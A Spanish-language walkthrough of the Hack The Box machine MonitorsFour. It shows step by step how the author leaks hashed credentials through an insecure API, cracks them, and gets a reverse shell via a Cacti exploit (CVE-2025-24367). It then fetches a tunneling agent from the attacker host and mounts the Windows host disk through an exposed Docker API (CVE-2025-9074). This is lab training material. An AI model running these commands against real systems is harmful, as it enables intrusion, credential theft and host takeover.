Descripción

MonitorsFour es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración web para descubrir una API vulnerable a la vulnerabilidad Referencia de Objectos Directos Insegura que lleva al descubrimiento de usuarios de la base de datos
  • Enumeración de subdominios para descubrir una instancia de Cacti con credenciales reutilizadas del servicio anterior
  • Instancia de Cacti vulnerable a Ejecución de Comandos Remotos Autenticada que lleva a una terminal de un contenedor Docker
  • Escalada de privilegios a través de una instalación vulnerable de Docker Desktop que expone el socket de Docker a los contenedores sin autenticación

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.126.11.

$ ping -c 3 10.129.126.11
PING 10.129.126.11 (10.129.126.11) 56(84) bytes of data.
64 bytes from 10.129.126.11: icmp_seq=1 ttl=127 time=48.0 ms
64 bytes from 10.129.126.11: icmp_seq=2 ttl=127 time=48.8 ms
64 bytes from 10.129.126.11: icmp_seq=3 ttl=127 time=47.3 ms

--- 10.129.126.11 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 47.262/48.018/48.822/0.637 ms

La máquina está activa y con el TTL que es igual a 127 (128 menos 1 salto) podemos asegurar que es una máquina Windows. Ahora vamos a realizar un escaneo de puertos TCP con Nmap para verificar todos los puertos abiertos.

$ sudo nmap 10.129.126.11 -sS -Pn -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.126.11
Host is up (0.048s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 7.96 seconds

Encontramos los puertos 80, y 5985 abiertos.

Enumeración

Luego realizamos un escaneo más avanzado, con versiones de servicio y scripts.

$ nmap 10.129.126.11 -Pn -sV -sC -p80,5985 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.126.11
Host is up (0.047s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.25 seconds

Nos movemos a la aplicación web y añadimos el host monitorsfour.htb al archivo /etc/hosts.

$ echo '10.129.126.11 monitorsfour.htb' | sudo tee -a /etc/hosts

Al visitar la página web encontramos una empresa que ofrece soluciones de red. Está ofreciendo una opción de inicio de sesión. En el formulario de inicio de sesión necesitamos credenciales válidas para iniciar sesión. La solicitud HTTP de inicio de sesión se envía a la API http://monitorsfour.htb/api/v1/auth. Vamos a enumerar la API para encontrar otro puntos de acceso.

$ gobuster dir -u 'http://monitorsfour.htb/api/v1/' -w /usr/share/seclists/Discovery/Web-Content/big.txt                                      
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://monitorsfour.htb/api/v1/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 146]
/.htpasswd            (Status: 403) [Size: 146]
/auth                 (Status: 405) [Size: 0]
/logout               (Status: 302) [Size: 0] [--> /login]
/reset                (Status: 405) [Size: 0]
/user                 (Status: 200) [Size: 35]
/users                (Status: 200) [Size: 35]

Encontramos un endpoint interesante que podría listar los usuarios registrados en el sistema, users.

$ curl 'http://monitorsfour.htb/api/v1/users'                 
{"error":"Missing token parameter"}

Explotación

Encontramos que está solicitando el parámetro token, introduzcámoslo con un parámetro aleatorio. Encontramos que está detectando un token inválido, pero con 0 token imprime a todos los usuarios registrados con sus contraseñas hasheadas.

$ curl 'http://monitorsfour.htb/api/v1/users?token=1234'
{"error":"Invalid or missing token"}
$ curl 'http://monitorsfour.htb/api/v1/users?token=0'
[{"id":2,"username":"admin","email":"admin@monitorsfour.htb","password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user","token":"8024b78f83f102da4f","name":"Marcus Higgins","position":"System Administrator","dob":"1978-04-26","start_date":"2021-01-12","salary":"320800.00"},{"id":5,"username":"mwatson","email":"mwatson@monitorsfour.htb","password":"69196959c16b26ef00b77d82cf6eb169","role":"user","token":"0e543210987654321","name":"Michael Watson","position":"Website Administrator","dob":"1985-02-15","start_date":"2021-05-11","salary":"75000.00"},{"id":6,"username":"janderson","email":"janderson@monitorsfour.htb","password":"2a22dcf99190c322d974c8df5ba3256b","role":"user","token":"0e999999999999999","name":"Jennifer Anderson","position":"Network Engineer","dob":"1990-07-16","start_date":"2021-06-20","salary":"68000.00"},{"id":7,"username":"dthompson","email":"dthompson@monitorsfour.htb","password":"8d4a7e7fd08555133e056d9aacb1e519","role":"user","token":"0e111111111111111","name":"David Thompson","position":"Database Manager","dob":"1982-11-23","start_date":"2022-09-15","salary":"83000.00"}]

Encontramos que el usuario admin se llama Marcus Higging, con la hash 56b32eb43e6f15395f6c46c1c9e1cd36. Parece ser una hash MD5, por lo que lo rompemos utilizando la herramienta John The Ripper.

$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash           
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
wonderful1       (admin)     
1g 0:00:00:00 DONE 7.142g/s 120685p/s 120685c/s 120685C/s lachina..fleming
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Obtenemos la contraseña wonderful1 para el usuario admin. Ahora podemos iniciar sesión en el panel de administrador. Encontramos un botón de menú Changelog que nos muestra los últimos cambios realizados en la plataforma. En la Infrastructure Notice encontramos que la infraestructura está utilizando un sistema operativo Windows con Docker Desktop 4.44.2 para habilitar despliegues contenerizados para la aplicación. No encontramos más información interesante en la plataforma, por lo que nos movemos a enumerar más subdominios.

$ gobuster vhost -u monitorsfour.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -o vhost_enumeration -r -t 50
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://monitorsfour.htb
[+] Method:                    GET
[+] Threads:                   50
[+] Wordlist:                  /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
cacti.monitorsfour.htb Status: 200 [Size: 14320]

Encontramos que el subdominio cacti, lo añadimos al archivo /etc/hosts.

$ echo '10.129.126.11 cacti.monitorsfour.htb' | sudo tee -a /etc/hosts

Encontramos una instancia de Cacti, en su versión 1.2.28. Encontramos que podemos iniciar sesión en la aplicación con el nombre de usuario marcus (el nombre del anterior usuario admin) y la contraseña wonderful1 que encontramos. Esta versión de Cacti es vulnerable a una Ejecución de Comando Remoto Autenticada abusando de la creación de gráficos para crear scripts PHP arbitrarios en la raíz web de la aplicación, CVE-2025-24367. Tenemos una prueba de concepto de la vulnerabilidad desarrollado por TheCyberGeek. Podemos usar el código para obtener una terminal remota a la máquina de Cacti, en primer lugar abriendo un puerto TCP en escucha en el puerto 1234nc -nvlp 1234.

$ git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC
$ cd CVE-2025-24367-Cacti-PoC
$ python exploit.py -u marcus -p wonderful1 -i 10.10.14.54 -l 1235 -url http://cacti.monitorsfour.htb

Recibimos una terminal inversa como el usuario www-data, la actualizamos.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.126.11] 57756
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
www-data@821fbd6a43fa:~/html/cacti$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@821fbd6a43fa:~/html/cacti$ ^Z
[1]  + 125971 suspended  nc -nvlp 1234
$ reset xterm

Post-Explotación

Encontramos que esto no es un sistema Windows, estamos dentro de un contenedor Docker Linux.

www-data@821fbd6a43fa:~/html/cacti$ env
HOSTNAME=821fbd6a43fa
PHP_VERSION=8.3.27
PHP_INI_DIR=/usr/local/etc/php
...
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
...
www-data@821fbd6a43fa:~/html/cacti$ ip a
...
2: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 82:5c:2a:a6:fd:b3 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
       valid_lft forever preferred_lft forever

En el listado de cambios anterior encontramos que la máquina Windows está utilizando Docker Desktop 4.44.2. Esta versión permite acceso no autenticado a la API del Docker Engine desde los contenedores, mediante la subred configurada de Docker, en 192.168.65.7:2375 por defecto, CVE-2025-9074. En algunos casos (p. ej. Docker Desktop para Windows con backend WSL) también permite montar el disco duro del host con los mismos privilegios que el usuario que ejecuta Docker Desktop. Vamos a pivotar a la subred 192.168.65.0/24 utilizando la herramienta ligolo-ng. Iniciamos el servidor en nuestra máquina y alojamos los binarios en un servidor HTTP.

$ sudo ligolo-proxy -selfcert
$ python -m http.server 80 -d /usr/share/ligolo-ng-common-binaries

Entonces descargamos el binario del agente en la máquina remota y nos conectamos a nuestro proxy.

www-data@821fbd6a43fa:~/html/cacti$ cd /tmp
www-data@821fbd6a43fa:/tmp$ curl -o ligolo_agent 'http://10.10.14.54/ligolo-ng_agent_0.8.2_linux_amd64'
www-data@821fbd6a43fa:/tmp$ chmod +x ligolo_agent
www-data@821fbd6a43fa:/tmp$ ./ligolo_agent -ignore-cert -connect 10.10.14.54:11601

Entonces creamos un túnel a la subred referida.

ligolo-ng » session
? Specify a session : 1 - www-data@821fbd6a43fa - 10.129.126.11:57758 - 825c2aa6fdb3
[Agent : www-data@821fbd6a43fa] » ifcreate
INFO[0198] Generating a random interface name...        
INFO[0198] Creating a new notedbarracuda interface...   
INFO[0198] Interface created!
[Agent : www-data@821fbd6a43fa] » route_add --name notedbarracuda --route 192.168.65.0/24
INFO[0245] Route created.
[Agent : www-data@821fbd6a43fa] » tunnel_start --tun notedbarracuda
INFO[0273] Starting tunnel to www-data@821fbd6a43fa (825c2aa6fdb3)

Ahora verificamos que tenemos acceso al servicio HTTP de administración de Docker en el puerto 2375.

$ nmap -sV -p 2375 192.168.65.7          
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 192.168.65.7
Host is up (0.0067s latency).

PORT     STATE SERVICE VERSION
2375/tcp open  docker  Docker 28.3.2

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.19 seconds

Podemos usar el paquete docker-cli Debian que instalará la herramienta docker para interactuar con la runtime de Docker.

$ apt install docker-cli -y
$ docker -H tcp://192.168.65.7:2375 ps -a                                                  
CONTAINER ID   IMAGE                    COMMAND                  CREATED       STATUS                 PORTS                          NAMES
821fbd6a43fa   docker_setup-nginx-php   "docker-php-entrypoi…"   3 weeks ago   Up 2 hours             0.0.0.0:80->80/tcp, 9000/tcp   web
c2bdd5d10cc5   docker_setup-mariadb     "docker-entrypoint.s…"   3 weeks ago   Up 2 hours (healthy)   0.0.0.0:3306->3306/tcp         mariadb

Encontramos los dos contenedores en ejecución: el que contiene el servicio HTTP y el otro que aloja la base de datos MariaDB. Vamos a listar las imágenes disponibles.

$ docker -H tcp://192.168.65.7:2375 images
REPOSITORY               TAG       IMAGE ID       CREATED       SIZE
docker_setup-nginx-php   latest    93b5d01a98de   3 weeks ago   1.28GB
docker_setup-mariadb     latest    74ffe0cfb451   3 weeks ago   454MB
alpine                   latest    4b7ce07002c6   8 weeks ago   12.8MB

Encontramos que la imagen alpine está disponible, por lo que podemos desplegar contenedores arbitrariamente. Vamos a crear un nuevo contenedor que mapeará la carpeta C:\ de la máquina Windows a la carpeta /mnt dentro del contenedor para acceder a los archivos de la máquina Windows. Pero no podemos utilizar la ruta C:\, ya que la runtime de Docker está ejecutándose como una máquina virtual WSL2 (Windows Subsystem for Linux 2). Encontramos en los foros de Docker que el directorio se mapea a la carpeta /run/desktop/mnt/host/c en la máquina virtual WSL. Creamos el contenedor y luego desplegamos una terminal interactiva.

$ docker -H tcp://192.168.65.7:2375 run -it --rm -v /run/desktop/mnt/host/c/:/mnt alpine sh
/ # ls /mnt/
ls: /mnt/DumpStack.log.tmp: Permission denied
ls: /mnt/pagefile.sys: Permission denied
$RECYCLE.BIN               PerfLogs                   ProgramData                Users                      inetpub
$WinREAgent                Program Files              Recovery                   Windows
Documents and Settings     Program Files (x86)        System Volume Information  Windows.old

Funciona. En las carpetas montadas tenemos acceso a la carpeta Administrator.

/ # ls /mnt/Users/Administrator/
AppData
Application Data
AutoLogon
Contacts
Cookies
Desktop
...

Flags

En la carpeta montada tenemos acceso a las banderas user.txt y root.txt.

/ # cat /mnt/Users/marcus/Desktop/user.txt 
<REDACTED>
/ # cat /mnt/Users/Administrator/Desktop/root.txt 
<REDACTED>